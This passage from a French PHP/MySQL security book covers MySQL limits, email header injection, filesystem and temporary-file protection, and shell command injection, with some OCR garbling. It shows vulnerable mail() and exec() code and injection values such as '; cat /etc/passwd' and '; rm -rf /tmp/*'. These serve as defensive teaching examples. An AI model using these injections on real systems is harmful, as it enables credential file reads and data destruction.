Ces options sont a specifier lors du lancement du client mysql , ou bien lors de l'initialisa- 
tion de la bibliotheque. 

• --safe-updates ou -U (aussi appelee : --i -am-a-dummy) interdit les commandes UPDATE et 
DELETE qui ne comportent pas de clause WHERE. La variable dynamique qui pilote cette 
directive est SQL_SAFE_UPDATES. 
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• --secure-auth interdit l'envoi du mot de passe avec l'ancien systeme d' identification de 
MySQL (avant v4.1), qui etait moins securisee. Cela interdit la connexion aux vieilles 
installations et aux serveurs utilisant l'option —old-password. 

• --select_limit=1000 limite la selection de lignes a 1 000. Toutes les selections plus 
grandes seront automatiquement tronquees. La variable dynamique qui pilote cette 
directive est SQL_SELECT_LIMIT. Attention : avec une valeur 0, plus aucune selection de 
donnees ne sera possible. 

• --max_join_size=1000000 limite la taille des jointures a un million de lignes. Loptimi- 
seur MySQL commence par analyser la requete et etablit une estimation du nombre de 
lignes qu'il va devoir traiter. Si l'estimation depasse un million de lignes, la jointure est 
annulee. La variable dynamique qui pilote cette directive est SQL_MAX_JOIN_SIZE . Cette 
variable est pratique pour eviter les denis de service par jointure. 

Limiter les consommations 

MySQL dispose de plusieurs limitations de consommation de ressources. Elles sont 
rangees dans la table user de MySQL : 



+ + + 

| Field | Null | 
+ + + 

| max_questions | NO 

| max_updates | NO 

| max_connections | NO 

| max_user_connections | NO 

+ + + 



• max^connections indique le nombre maximal de connexions qu'un utilisateur peut 
etablir avec son compte durant une heure. Si cette valeur est depassee, l'utilisateur sera 
interdit d'acces jusqu'a la fin de l'heure. La notion d'heure est glissante. 

• max_user_connections indique le nombre maximal de connexions simultanees d'un 
utilisateur avec son compte. C'est une valeur qui peut poser des problemes dans un 
environnement ou des connexions simultanees peuvent etre frequemment ouvertes, 
comme avec un site web. Cette option est nouvelle depuis MySQL 5.0. 

• max_questi ons represente le nombre maximal de commandes qui peuvent etre soumises 
au serveur MySQL en une heure. Cela inclut les commandes SELECT. 

• max_updates represente le nombre maximal de modifications qui peuvent etre effec- 
tuees sur le serveur MySQL en une heure. Cela inclut les commandes UPDATE et INSERT, 
mais pas DELETE. 

Par defaut, ces limitations sont desactivees avec la valeur 0. 
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Les pages de votre application web feront parfois appel a d'autres technologies que 
PHP et MySQL. II est important de remettre votre code dans le contexte plus general 
du serveur qui l'heberge et de securiser egalement toutes ces interactions. 

Le chapitre 9 vous expliquera comment securiser l'utilisation du courrier electronique, 
les interactions avec le systeme de fichiers et le systeme d' exploitation, ainsi que les 
appels au reseau depuis PHP. Vous trouverez egalement des conseils quant a la structure 
de votre application. 

Le chapitre 10 presentera des techniques plus globales de lutte contre les nuisances de 
toutes sortes (attaque par force brute, phishing, denis de service) par la gestion des mots 
de passe, le chiffrement et la signature, l'utilisation de « pots de miel » ou de CAPTCHA. 

Le chapitre 1 1 enfin vous precisera comment mener a bien un audit de securite. 
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Interessons-nous maintenant aux technologies connexes, qui resident elles aussi sur le 
serveur. Elles sont souvent accessibles depuis PHP ou MySQL, que ce soit pour une 
fonctionnalite, comme 1' envoi de courrier electronique, ou parce qu' elles partagent des 
espaces communs, comme le systeme de fichiers. II faut done que PHP et MySQL agissent 
en bons citoyens et protegent les ressources qu'ils utilisent. 

Courrier electronique 

Envoyer des messages electroniques depuis PHP a toujours ete une des fonctionnalites 
preferees des utilisateurs. Que ce soit pour une alerte, pour exporter facilement des infor- 
mations ou simplement pour s'inserer dans le processus quotidien de travail, e'est un 
outil redoutable. . . au meme titre que le spam, qui en est indissociable. 

Pourriel 

PHP propose une fonction d'envoi de courrier electronique (ou courriel), grace a la 
fonction mail ( ). Cette derniere s'interface avec le service SMTP (Simple Mail Transfer 
Protocol) interne du systeme et lui transmet le message a envoyer. 

Si la fonction mai 1 ( ) a ete desactivee, PHP est aussi capable d'ouvrir une connexion avec 
un serveur SMTP externe et bienveillant, via les fonctionnalites de socket ou de fichiers 
avec fopenO. Des bibliotheques d'envoi de courrier electronique sans l'aide de mailO 
ont ete creees pour contourner les limitations que certains hebergeurs avaient mises 
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en place en interdisant cette fonction dangereuse. C'est le cas de PHPMailer, 
http://phpmailer.sourceforge.net/. 

Un serveur web qui expose publiquement sa fonction mail ( ) devient rapidement leur 
proie : ils s'en servent comme relais pour envoyer des flots incroyables de courrier inde- 
sirable, encore appele pourriel ou spam. Ils peuvent realiser tranquillement leurs mefaits, 
car ils savent que c'est votre serveur qui apparait comme un zombie, et non pas le leur. 
Rapidement, votre machine est enregistre dans les listes noires de type spamhaus (http:/ 
/www. spamhaus.org) et vous ne pouvez plus du tout envoyer de courrier electronique, 
meme parfaitement legitime. 

II faut done particulierement veiller aux abus de la fonction mai 1 ( ). 



Injections dans le courrier electronique 

Les injections de courriers fonctionnent sur le meme principe que les injections SQL : a l'aide 
de valeurs speciales, on peut detourner le courrier electronique de son utilisation prevue. 

Les injections utilisent la possibilite de modifier les en-tetes de courrier, qui assurent le 
routage des messages. Pour cela, elles inserent des virgules ou des retours a la ligne. 

Avec une virgule 

La fonction mail ( ) permet d'envoyer plusieurs messages d'un seul coup. Dans une liste 
de destinataires, les adresses electroniques sont separees par des virgules. En injectant 
des virgules dans l'adresse d'envoi, il est done possible d'envoyer plusieurs courriers 
electroniques. Voici un exemple d' injection de destinataires : 

<?php 

$_GET[ 'destinatai re' ] = 'courriell@site.com, courriel2@site.com, courriel3@site.com' ; 

mail ($_GET[ ' destinatai re ' ] , 'titre' , 'sujet ' ) ; 

?> 

Injections d'en-tete de courrier electronique 

L' autre methode pour realiser une injection dans un courrier consiste a utiliser le quatrieme 
argument de mail ( ). Ce dernier est fait pour ajouter des en-tetes arbitraires, qui ne sont 
pas necessaires a mail ( ) pour fonctionner, mais apportent des fonctionnalites interessantes : 
par exemple BCC, qui met des adresses en copie cachee, ou Reply-To, qui configure l'adresse 
de retour sur erreur. 

Dans la pratique, il est possible d'envoyer un message sans ces en-tetes. Sendmail ne les 
indiquera tout simplement pas dans le message final. En fait, le nombre d' en-tetes possible 
est tres grand. Pour que la fonction mai 1 ( ) n'ait pas a supporter des dizaines d' arguments 
optionnels, toutes ces options passent par le quatrieme argument. 

La figure 9-1 presente une utilisation classique du quatrieme argument, pour envoyer un 
message au webmestre du serveur. Un formulaire web est presente aux visiteurs et PHP 
se charge de formater le message avant de 1' envoyer au responsable. 



Mesures de securite cote serveur 



Chapitre 9 



Figure 9-1 

Exemple typique 

de formulaire configurant 

un message pour 

le webmestre du site 





Nous contactor 




• Aprofxw 






• PtindutlW 


Support 




■ Annonctur* 






• Copyright 






• Moos contactor 


Envoyoi un email a ce contact : 





bu«g«'C pa' m; 



387 on-cs envoyoet 
«as menu 



Cntrei votre nom 



Saitiuoi votrc edrciic o mul : 



Ob)«t du jMjMfjj : 



Sai»H»e» votre meisage : 



Rcccvoir uno copio de cot ••mall 
Invovt' 
[ Rotour ] 



Afin de gagner en productivite, le courrier electronique est configure avec une adresse de 
retour, celle du visiteur du site. Le webmestre n' a plus qu'a repondre directement, depuis 
son client de courrier electronique : 

<?php 

$_GET['auteur'] = 'auteur@site.com' ; 

mai 1 ( 'webmestre@si te.com' , 'titre' ,' sujet ', 'Reply-To : ' .$_GET['auteur']. " \r\n") ; 

?> 

Ce code est vulnerable a une injection PHP. Pour realiser une injection de courrier, le 
pirate va simplement modifier son adresse de retour pour inclure un nouvel en-tete et une 
nouvelle ligne : 

<?php 

$_GET[ 'auteur] = '«uteur@site.com\r\nTo : autre@site2.com' ; 

mai 1 ( 'webmestre@si te.com' , 'titre' ,' sujet ',' Reply-To : ' .$_GET[ 'auteur' ] . " \r\n") ; 

?> 

Sous cette forme, le webmestre regoit bien le courrier electronique, mais ce dernier est en 
fait envoye a deux personnes : le webmestre et autre@site2.com. 

II est deja interessant de voir que mettre une valeur fixe comme destinataire ne protege 
pas contre les detournements de courrier electronique. En travaillant sur le quatrieme 
argument, on peut tres bien envoyer un message a de nombreux destinataires. 




Q notvibei | 
O Technoratl I 
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Toutefois, cette operation n'est pas neutre et le webmestre est immediatement prevenu : 
il voit bien dans sa liste de destinataires une adresse inconnue, voire plusieurs. 

Pour etre plus efficace, le pirate peut aussi utiliser un en-tete de type BCC, au lieu de To ou 
CC : BCC envoie le message en copie cachee, a des destinataires qui sont masques, meme 
au destinataire principal. Certes, le webmestre recoit le message du spammeur, mais il 
l'ecarte sans le lire. Dans le meilleur des cas, les nitres anti-spam de 1' administrateur 
bloquent le message avant qu'il n' arrive jusqu' a lui. Ainsi, non seulement le serveur web 
est devenu une source de spam, mais en plus les defenses mises en place par 1' adminis- 
trateur sont celles qui lui masquent la triste realite. 

Avec ce type de script, il est aussi possible de faire des injections de contenu : au lieu 
de donner une adresse de retour, le pirate envoie plusieurs retours a la ligne et une 
structure de corps de courrier. Ce type d'attaque est possible, mais il est encore rare- 
ment utilise. 



Defendre ses courriers electroniques 

Les defenses contre les injections de courriers sont difficiles a mettre en place : les 
injections peuvent etre realisees avec presque tous les arguments de la fonction mail ( ) 
et chaque champ a besoin d'un filtrage specifique. La tache est done particulierement 
delicate. 

Voici les points que vous pouvez surveiller : 

• Limitez 1' utilisation publique de mailO sur votre serveur: un seul formulaire de 
contacts est suffisant. Cela permet de mieux controler l'usage de la fonction sur le site. 

• Enregistrez les adresses IP et les scripts qui utilisent mai 1 ( ) pour pouvoir traquer les 
abus. Mieux, instaurez une limite temporelle d'utilisation de la page de contact : un 
envoi de courrier electronique par jour peut etre raisonnable. 

• Evitez autant que possible de mettre des valeurs dynamiques dans les champs de courrier 
autres que celui du corps, e'est-a-dire le troisieme argument. 

• Identifiez les retours a la ligne, e'est-a-dire les caracteres \r et \n et leurs sequences \ 
r\n dans les valeurs que vous utilisez, puis supprimez-les. Hormis dans le corps du 
message, ces caracteres ne devraient pas etre utilises. 

• Validez le format des adresses electroniques que vous utilisez dans le premier 
et le quatrieme argument de mai 1 ( ). II existe des nitres prets a utiliser, comme l'exten- 
sion filter de PHP (http://www.php.net/filter) ou le tutoriel de Dave Child 
(http: //www. i 1 ovejackdaniel s . com/php/emai 1-address-val idation). 

• Utilisez escapeshel 1 arg( ) sur les valeurs que vous manipulez : mailO ne fait que 
relayer le courrier electronique au serveur SMTP local via la ligne de commande. 
escapeshel 1 arg( ) neutralise les caracteres speciaux pour les shell. 
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Defenses fournies par PHP 

Voici quelques pistes du point de vue de la configuration de PHP. 
Forcer les parametres d'envoi 

Le cinquieme argument de la fonction mail ( ) permet de glisser des parametres supple- 
mentaires a sendmai 1 . Si ces parametres contiennent des valeurs en provenance de l'utili- 
sateur web, elles peuvent etre manipulees pour modifier le comportement de SendMai 1 . 

II est possible de forcer PHP a utiliser certains en-tetes en guise de cinquieme argument 
de mailO : cette approche empeche simplement les developpeurs d'utiliser ce dernier 
argument de la fonction et done, d'etre vulnerable a une injection d' en-tete de courrier. 

Dans la pratique, e'est une option qui est interessante sur un serveur partage : cela revient 
a desactiver le cinquieme argument, voire a ajouter des informations pour retracer 
l'origine du courrier electronique. 

L'avantage de cette option est qu'elle est disponible dans les distributions standards de PHP 
et ne necessite ni patch, ni developpement, comme les fonctionnalites presentees ci-apres. 

Forcer des en-tetes de courrier electronique 

Mail -extra-headers est un patch PHP qui ajoute un en-tete supplementaire aux courriers 
electroniques sortants. Cet en-tete a la forme suivante : 

X-PHP-Script: www.examplea.com/~user/testapptestapp/send.php for 10.0.0.1 

On y retrouve le nom du script qui a emis le courrier, ainsi que l'adresse IP de la 
personne qui a demande le message. Ces informations seront precieuses pour remonter 
jusqu'au spammeur. D'abord, avec le nom du script emetteur, vous savez par oil passe 
votre spammeur, ce qui vous donne un moyen de colmater la vulnerability de votre 
systeme. 

Ensuite, avec l'adresse IP de 1' emetteur, vous pouvez continuer la chasse au spammeur et 
meme ajouter cette adresse dans une liste noire. 

Vous trouverez ce patch a l'adresse suivante : http://choon.net/php-mail-header.php 
Logs d'activite 

Ilia Alshanetsky propose une approche differente : il s'agit d'un log qui enregistre toute 
l'activite. Au lieu de l'inscrire dans le courrier electronique lui-meme, les messages sont 
notes sur le serveur, avec les memes informations. Vous pouvez en lire plus a l'adresse 
suivante : http://ilia.ws/archives/149-mail-logging-for-PHP.html 

L'avantage de cette approche est que Ton n'a pas besoin d'attendre qu'un utilisateur 
signale un probleme pour avoir des informations : il suffit d'analyser les logs pour voir 
immediatement sortir les adresses IP et les scripts les plus frequemment utilises. 

Cette option a ete imaginee a la fin de l'annee 2006. On devrait la voir murir durant 
l'annee 2007. 
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Systeme de f ichiers 

PHP dispose d'un acces au systeme de fichiers du serveur ; c'est un point de rencontre 
avec le systeme. Si aucune mesure de protection n'est prise, PHP peut perturber le fonc- 
tionnement du serveur en modifiant des fichiers vitaux. 



Garder le systeme de fichiers voile 

Le premier risque que court le systeme de fichiers est d'etre devoile a l'exterieur. La 
structure du site, les noms de dossiers utilises et les fichiers sont autant d' informations 
qui interessent immediatement les pirates. 

II existe aussi toute une categorie de fichiers qui trainent sur le serveur et qui ne sont 
proteges que parce que personne ne sait qu'ils sont la. II est frequent que des exports de 
donnees, des bases SQLite ou des fichiers de cache soient ranges dans une application 
web, juste a cote du script generateur, ou dans un dossier dans la meme racine. lis ne sont 
pas destines a etre putties directement et PHP s'en sert sou vent. II faut pourtant leur trouver 
un hebergement protege. 

Pour proteger le systeme de fichiers, il est done primordial d'eviter la navigation dans le 
systeme de fichiers. 

Interdire les listages de dossiers 

Le listage des fichiers d'un dossier est une fonctionnalite des serveurs web. C'est genera- 
lement un comportement voulu, comme pour diffuser des archives de fichiers qui ne 
seront pas affiches par le navigateur. Par exemple, la figure 9-2 presente le musee PHP, 
qui contient toutes les versions de PHP. 

Index of / 



Musee PHP : liste 
de fichiers du serveur 



Name Last modified £izo Description 



Parant Dlractorv 20-Apr-2006 09:55 

patchaa/ 20-Apr-2006 11:12 

php-otk/ 27-Jan-2007 03:00 

BhBll 20 Apr 2006 11:12 

BhalL 20-Apr-2006 11:12 

Php3 I 20-Apr-2006 11|12 

nh.P< I 03-May-2007 20i26 

php5/ 20-Hay-2007 14:45 

win32/ 03-M«y-200? 20.33 



En termes de securite, il est recommande d'interdire la navigation par defaut et de l'activer 
uniquement dans les dossiers qui en ont besoin : si vous montez un serveur web, vous ne 
devriez pas en avoir besoin partout. 

Avec Apache, il faut retirer l'option Indexes dans les lignes d'options de configuration. 
Par defaut, vous devriez trouver cette ligne dans votre fichier httpd . conf : 

Options Indexes FollowSymLinks MultiViews 
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II suffit de retirer la valeur Indexes et de recharger Apache 

Eventuellement, vous pouvez aussi creer un fichier . htaccess dans chaque dossier qui en 
a besoin et y ajouter la ligne suivante, en plus des autres lignes necessaires : 

Options -Indexes 

Utiliser un fichier par defaut 

Une autre astuce simple consiste a toujours fournir un fichier par defaut. Par exemple, si 
index. php est le nom du fichier par defaut sur votre serveur web, veillez a toujours placer 
un tel fichier dans chaque dossier, pour que le navigateur puisse le lire systematiquement. 
Vous pourrez alors mettre une redirection vers une page d'accueil, afficher un message 
d'erreur ou toute autre action ad hoc. 

Verifier les chemin d'acces 

Si vous devez echanger des chemins de dossiers avec vos utilisateurs, il est recommande 
de les verifier avec rea 1 path ( ) . Cette fonction prend un chemin et retourne sa valeur absolue, 
debarrassee des caracteres speciaux comme ., . . ou /, ainsi que des liens symboliques 
qui pourraient etre utilises. En resume, real path( ) resout le chemin et vous le fournit sans 
aucune chausse-trappe : 

<?php 

Spath = real path( ".././.. /index. php" ) ; 
echo Spath; 
// affiche /home/www/index.php 

?> 

Verifier I'existence des fichiers 

Avant de manipuler un fichier sur le serveur, il est important de verifier s'il existe deja, 
pour eviter de l'ecraser, pour le creer s'il n' existe pas, ou encore pour le completer. 

Existence d'un fichier 

Quand vous devez acceder a un element du systeme de fichiers, il est recommande d' utiliser 
f i 1 e_exi sts ( ) avant la fonction f open ( ) pour vous assurer que le fichier demande existe bien. 

<?php 

Sfichier = 'test.html ' ; 

if ( !file_exists($fichier)) { 

print "Le fichier "' .htmlentities($fichier) , END_COMPAT, ' ISO-8859-1 ' . "' n'existe pas" ; 
die(); 

} 

?> 

Droits d'acces au fichier 

Les fonctions suivantes vous renseigneront sur l'etat d'un fichier avant de l'ouvrir : 
• is_readable( ) : est-ce que PHP peut lire le fichier ? 
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• i s^wri teabl e ( ) : est-ce que PHP peut ecrire dans le fichier ? 

• is_executable( ) : est-ce que PHP peut executer ce fichier ? 

• i s_di r( ) : est-ce que ce fichier est un dossier ? 

• 1 s_l 1nk( ) : est-ce que ce fichier est un lien ? 

Existence d'une liste de fichiers 

Si vous avez une liste de fichiers dont il faut verifier 1' existence, vous pouvez passer par 
la fonction globO : elle accepte des caracteres jokers tels que l'asterisque, *, pour lire 
tous les fichiers d'un dossier et retourne la liste sous forme d'un tableau. Vous pouvez 
alors passer en revue ces fichiers. 

Shell> php -r 'print_r(glob("/tmp/wsdl-*")); ' 

Array 

( 

[0] => /tmp/wsdl-07beb861c0eaf9ade6ee7f64574ff0c0 
[1] => /tmp/wsdl-09blb56a838ebeb864030clf45b66e2c 
[2] => /tmp/wsdl-0bld8318ff837b34771b34547646cll0 
[3] => /tmp/wsdl-lc880fcfb847a25eel36837f60eb5a21 
[4] => /tmp/wsdl-le08d21c63dfa821b96c746524e9e034 

) 

gl ob( )retourne la liste des fichiers avec leur chemin d'acces. La fonction scandi r( ) vous 
livre immediatement les noms des fichiers, sans leur chemin, mais sans possibility de 
mettre de filtrage. II faudra ajouter une fonction de traitement du resultat du tableau pour 
reduire ses elements. 

Shell> php -r 'print_r(scandi r( "/tmp/" ) ) ; ' 

Array 

( 



[0] 


=> 






[1] 


=> 






[2] 


=> 


501 




[3] 


=> mysq" 


.sock 


[4] 


=> 


wsdl - 


07beb861c0eaf9ade6ee7f64574ff0c0 


[5] 


=> 


wsdl - 


09blb56a838ebeb864030clf45b66e2c 


[6] 


=> 


wsdl - 


0bld8318ff837b34771b34547646cll0 


[7] 


=> 


wsdl - 


Ic880fcfb847a25eel36837f60eb5a21 


[8] 


=> 


wsdl - 


Ie08d21c63dfa821b96c746524e9e034 



) 

Proteger les fichiers sur le serveur 

Outre la navigation dans le systeme de fichiers, il faut aussi proteger les fichiers qui sont 
sur le disque. 

Fichiers crees par PHP 

Les fichiers crees par PHP sont un point critique dans le systeme. II y a deux raisons a cela. 
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Droits d'acces sur I'application web 

Si PHP peut creer des fichiers, c'est qu'il a la possibility d'ecrire des donnees et done 
aussi d'ecraser les donnees existantes. En allant un peu plus loin, il pourrait aussi ecraser 
des scripts PHP existants, mettant en peril toute I'application web. 

Pour resoudre ce probleme, il faut commencer par utiliser le systeme de droits du 
serveur : ce dernier est l'endroit ideal pour garantir l'integrite des fichiers, car PHP ne 
pourra pas se soustraire a son autorite. 

Si un fichier n'a aucune raison d'etre modifie, il est recommande de lui enlever les droits 
d'ecriture. Mieux, vous pouvez aussi attribuer le script a un autre utilisateur, de maniere 
a ce que PHP ne puisse pas s'attribuer lui-meme les droits pour mieux l'ecraser. Si vous 
appliquez cette politique aux scripts PHP, pensez alors a verifier que c'est compatible 
avec votre systeme de deploiement. 

Ensuite, au niveau de la programmation, il faut verifier en permanence les droits d'ecriture 
sur les fichiers qui sontouverts. file^exists (), is„readable() et is_writeable() sont, nous 
l'avons vu, trois fonctions primordiales pour verifier l'existence et les droits d'un fichier. 

Distribution des fichiers crees par PHP 

Les fichiers crees par PHP sont attribues au serveur web et, par defaut, ils sont accessi- 
bles en lecture au monde entier. Ces fichiers sont accessibles via le Web, avec leur nom : 

<?php 

file_put_contents( 'test.txt' , date('r')) ; 
Stexte = 

f i 1 e_get_contents ( $_SERVER[ ' HOST ' ] . di rnamet $_SERVER[ ' PHP_SELF ' ] ) 
. '/test.txt' ) ; 
if (! empty ($texte)) { 

print "Attention, le fichier test.txt est accessible au monde entier" ; 

} 

?> 

Les fichiers de configuration font partie de cette categorie. Ils doivent etre modifies par 
PHP, en fonction des choix du webmestre, et reutilisables en permanence depuis I'applica- 
tion web, e'est-a-dire par le serveur web. Si leur contenu est revele au public, il y trouvera 
facilement les autorisations d'acces au serveur SQL, ainsi que differents details de confi- 
guration et de securite. II est important d'eviter absolument la publication de ce fichier. 

II n'est pas possible d'attribuer le fichier a un autre utilisateur, car PHP doit conserver le 
droit de lecture et d'ecriture dessus. Le plus securitaire est de placer les fichiers crees par 
PHP dans un dossier hors Web, pour eviter leur publication par inadvertance. 

Liens symboliques 

Les liens symboliques sont des references au veritable contenu d'un fichier place ailleurs 
dans l'arborescence. Cela permet d'inscrire le meme fichier a plusieurs endroits dans le 
serveur, sans en dupliquer le contenu, qui reste unique et commun a tous. C'est un outil 
souvent utilise pour partager des ressources entre des processus simultanes. 
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II existe une technique d'attaque qui consiste a utiliser les liens symboliques pour 
masquer un fichier et faire croire a PHP qu'il utilise un fichier legitime alors qu'il est en 
train de l'ecraser a 1' autre bout du serveur. 

Les liens symboliques n'outrepassent pas le systeme de droits classique : toutefois, il est 
possible de creer un lien vers une ressource, meme si on n'a pas les droits pour l'utiliser. 
II suffit alors de trouver un utilisateur qui a ces droits : par exemple, si PHP a les droits 
pour modifier un fichier de configuration tel php.ini, on peut etablir un lien symbolique 
dans /tmp/ pour pointer sur ce fichier. Dans ce cas, il reste a trouver un fichier utilise 
couramment par PHP et a le remplacer par un lien symbolique : au lieu d'ecrire dans le 
fichier qu'il croit valide, PHP va ecraser la configuration. 

Les liens symboliques sont crees par la fonction syml ink( ). A moins d'en avoir une utili- 
sation particuliere, il est recommande de desactiver cette fonction, pour enlever a PHP la 
possibility de creer des liens. Cela fait autant de problemes en moins a gerer. 

Pour tester si un fichier est bien un veritable fichier, et non pas un lien symbolique, vous 
pouvez utiliser la fonction 1 s_l 1 n k( ) . 

Pour effacer un hen symbolique, vous pouvez utiliser la fonction unlink() : contrairement 
aux autres fonctions de fichiers de PHP, unl ink( ) ne resout pas le lien, done efface bien ce 
dernier et non pas le fichier a distance. 

Cas des bases SQLite 

SQLite est un gestionnaire de bases de donnees integre a la distribution standard de PHP 
depuis la version 5.0. Au lieu de fonctionner avec un demon externe, comme le font 
MySQL, Oracle ou DB2, SQLite charge directement le moteur SQL dans PHP. Apres les 
modifications, les donnees sont enregistrees dans un fichier local. Ce dernier peut porter 
un nom arbitraire et il n'y a pas d'extension de fichiers specifique pour SQLite. 

Une erreur courante est de ranger le fichier de donnees SQLite dans le meme dossier que 
les scripts qui l'utilisent. Par exemple, on trouve data . sql i te a cote du fichier i ndex . php. Le 
probleme provient du fait que .sql ite est alors une extension non reconnue par le serveur 
web : si quelqu'un demande le fichier via une URL, ce dernier sera directement envoye ! 

Pour se proteger contre ce probleme, il est recommande de ranger le fichier de donnees 
dans un dossier hors Web, e'est-a-dire hors de la racine web. II est recommande d'utiliser 
un dossier qui soit aussi limite d'acces que possible : par exemple, le dossier /tmp/ est 
une mauvaise idee, car tous les utilisateurs du systeme y ont acces. II vaut mieux un 
dossier qui ait ete configure specifiquement pour le serveur web. 

Fichiers temporaires 

Les fichiers temporaires sont generalement considered comme etant proteges par leur 
caracteristique principale : du fait qu'ils soient temporaires, ils ne restent pas longtemps 
accessibles. Un tel fichier est ecrit sur le serveur, puis elimine a la fin de l'utilisation. 
Sauf quand il ne Test pas. 
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Risques lies aux fichiers temporaires 

Toutefois, plusieurs situations courantes finissent par abaisser considerablement le 
niveau de securite des donnees dans un fichier temporaire : 

• L' application « plante » avant la fin de 1' execution et laisse le fichier temporaire en 
place. 

• La conception ou 1' implementation de l'application omet d'effacer les fichiers tempo- 
raires, dans certains cas particuliers rares. 

• Les fichiers temporaires des applications web sont ranges avec tous les autres fichiers 
temporaires du systeme, accessibles a tout le monde sur le serveur (generalement dans 
le dossier /tmp/ sous Linux, ou C:\WINDOWS\TEMP sous Windows). 

• Temporaire signifie en fait « mis en cache » : des fichiers mis en cache peuvent rester 
tres longtemps valides et reutilisables. Dans cette approche, temporaire signifie 
simplement que le fichier peut etre efface a tout moment sans perturber l'application : 
cette derniere va le recreer a la demande. 

• Les fichiers temporaires sont predictibles. Si le fichier temporaire porte toujours le 
meme nom, ou bien est reutilise sans verification d' existence prealable, il est possible 
de preparer un contenu a 1' avance et d' usurper la place d' un fichier legitime, en placant 
du contenu pirate. 

Mieux defendre les fichiers temporaires 

Maintenant que vous connaissez les risques que courent ces fichiers, il faut prendre quel- 
ques precautions pour bien les proteger, tout en conservant leur caractere temporaire et 
pratique. 

Masquage des fichiers temporaires 

La premiere chose est de rendre le fichier temporaire difficile a reperer. Cela signifie que 
le nom du fichier et, idealement, son chemin sont aleatoires et imprevisibles. Moins il est 
possible d'anticiper la presence du fichier, meilleure sera la protection. 

Pour le nom du fichier, vous pouvez utiliser la fonction tempnam( ) de PHP, qui a ete bade 
pour cela : 

<?php 

$fichier_tmp = tempnam( '/mon/chemin/secret' , 'prefixe' ) ; 
$fp = fopen($fichier_tmp, 'w') ; 

?> 

Cette ligne retourne le nom d'un fichier unique dans le dossier /mon/chemin/secret/ indi- 
que en premier argument, avec un prefixe passe en deuxieme argument. Le fichier est 
cree par PHP, mais vous devrez l'ouvrir explicitement pour 1' utiliser. 

Le fichier temporaire est cree avec les droits de lecture et ecriture, et il est reserve a 
l'utilisateur courant : ni le groupe, ni les autres ne sont autorises a y toucher. Dans le 
cadre d'une application de bureau, c'est une bonne pratique, mais pour un serveur web, 
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l'interet est limite : tous les processus web ont le meme utilisateur. Cela protege les fichiers 
temporaires des autres utilisateurs du systeme, mais pas d'autres attaques via le Web. 

Attention : le dossier doit exister avant d'utiliser tempnamt ), sous peine de voir le fichier 
cree dans le dossier temporaire par defaut. Si le dossier /mon/chemin/secret/ n'existe pas, 
alors /tmp/ sera utilise. 

D'un point de vue programmation et administration, il est recommande d'utiliser un 
prefixe parlant, mais du point de vue de la securite, c'est une mauvaise idee, car cela rend 
vos fichiers temporaires bien plus visibles. 



Systeme Sexploitation 

PHP est un logiciel comme les autres, qui s'execute dans le cadre d'un systeme d'exploi- 
tation. Ce dernier est disponible en toile de fond et PHP dispose de nombreuses interfaces 
pour le sollicker directement. 



Risques du Shell 

Quand PHP envoie une commande au Shell, il transmet a un processus externe le travail 
qu'il doit effectuer. II se decharge done simultanement de sa responsabilite et de ses 
droits. II attend ensuite que le processus effectue le travail correctement. 

PHP et le systeme en prise directe 

Les injections sont aussi possibles avec les commandes systeme. PHP dispose de six 
fonctions standards pour envoyer des commandes au systeme: execO, shel l_exec( ), 
passthruO, systemO, proc^openO et popenO. Ajoutons aussi les operateurs guillemets 
obliques, qui sont associes a shell_exec( ). 

Shel 1 > php -r 'print 'Is -la';' 

Les commandes systeme permettent d'acceder a des applications qui n'ont pas d'API 
interne a PHP, par exemple un outil de conversion audio, qui va transformer une chaine 
de caracteres en son pour un podcast. 

Shel 1 > php -r "say PHP rulez';' 

L utilisation de commande systeme pose plusieurs problemes importants, notamment en 
ce qui concerne les droits d' execution et les limitations de consommation de ressources. 

Consommations illimitees 

Un programme qui est lance avec execO s'execute independamment de PHP. C'est un 
processus autonome, qui gere ses propres ressources directement avec le systeme. S'il 
consomme trop de memoire, de processeur ou de temps, les mecanismes de PHP ne pour- 
ront pas le brider. Cela signifie que le serveur risque de se retrouver a court de ressources. 
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Mise en attente de PHP 

Durant l'execution d'une commande externe, PHP est mis en attente, jusqu'a ce que le 
processus tils ait fini. Tant que ce dernier n'a pas termine, PHP, ainsi que le visiteur du 
site web, doivent attendre. Et quand le visiteur abandonne la page avant la fin de la tache, 
PHP doit toujours attendre la fin de l'execution secondaire. Cela fait beaucoup de risques 
de voir la production gaspillee, sans compter les problemes de deni de service qui se 
profilent derriere. 



Simultaneity des taches 

L'execution simultanee de processus ne doit pas etre negligee, car beaucoup d' applications 
en ligne de commande ont ete pensees pour etre utilisees par un utilisateur unique. Or, 
dans le cas d'une utilisation web, il peut y avoir des dizaines d'utilisateurs simultanes. 

De plus, comme c'est toujours le meme utilisateur web qui lance tous ces processus 
paralleles, il peut surgir d'autres problemes : soit le programme n'accepte pas d' avoir 
plusieurs instances en meme temps, soit il ne partage pas les ressources temporaires et 
finit par ecraser les travaux en cours. 

Injections systeme 

Enfin, les injections de commandes Shell peuvent detourner une commande de sa 
mission premiere, pour faire executer un ordre qui n'est pas voulu. Le principe est le 
meme que pour toutes les autres sortes d'injections. Comme la commande Shell est cons- 
titute par PHP sous forme d'une chaine de caracteres, il est possible de la manipuler si 
aucune precaution n'est prise. Par exemple : 

<?php 

$commande = 'Is /home/public/' . $_GET['user'] ; 
exec ($commande, $resultat. $code) ; 

?> 

Ces instructions qui ont pour but de lister le contenu d'un dossier public, laissent la porte 
beante a une injection, via la variable user. 

$_GET['user'] = "../■ ; 

// liste le dossier superieur 
$_GET[ 'user' ] = ' ; cat /etc/passwd' ; 
// liste le fichier de mot de passe 
$_GET[ 'user' ] = ' ; rm -rf /tmp/*' ; 

// efface tout dans le dossier temporaire 

// pourrait etre bien plus destructeur 

// si applique a la racine. 



Proteger les commandes systeme 

Comme en SQL et en HTML, il est vital de proteger l'acces au systeme d' exploitation. 
Ce dernier n'est pas fait pour repondre aux sollicitations du Web : c'est bien PHP qui doit 
le faire, car il a ete concu pour cela. 
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Eviter les commandes 

La premiere chose est surement de se demander comment eviter d'utiliser les commandes 
systeme. II est fructueux de prendre le temps de se demander si PHP ne fournit pas d'outil 
integre pour faire la meme chose, que ce soit sous forme d'extension, ou de bibliotheques 
et composants. 

Une application classique utilisee avec PHP etait la conversion de fichiers HTML en 
PDF, via le programme html2pdf (http://directory.fsf.org/html2pdf.htrnl). Cette appli- 
cation est pratique, car elle agit comme un filtre et permet une publication des donnees 
HTML sous forme PDF, avec peu d'efforts et l'utilisation de execO. 

Or, il existe de nombreuses bibliotheques PHP pour creer des fichiers PDF, comme PDFLib 
(http://www.pdflib.com/), qui est compilee avec PHP, ou FPDF (http://www.fpdf.org/), 
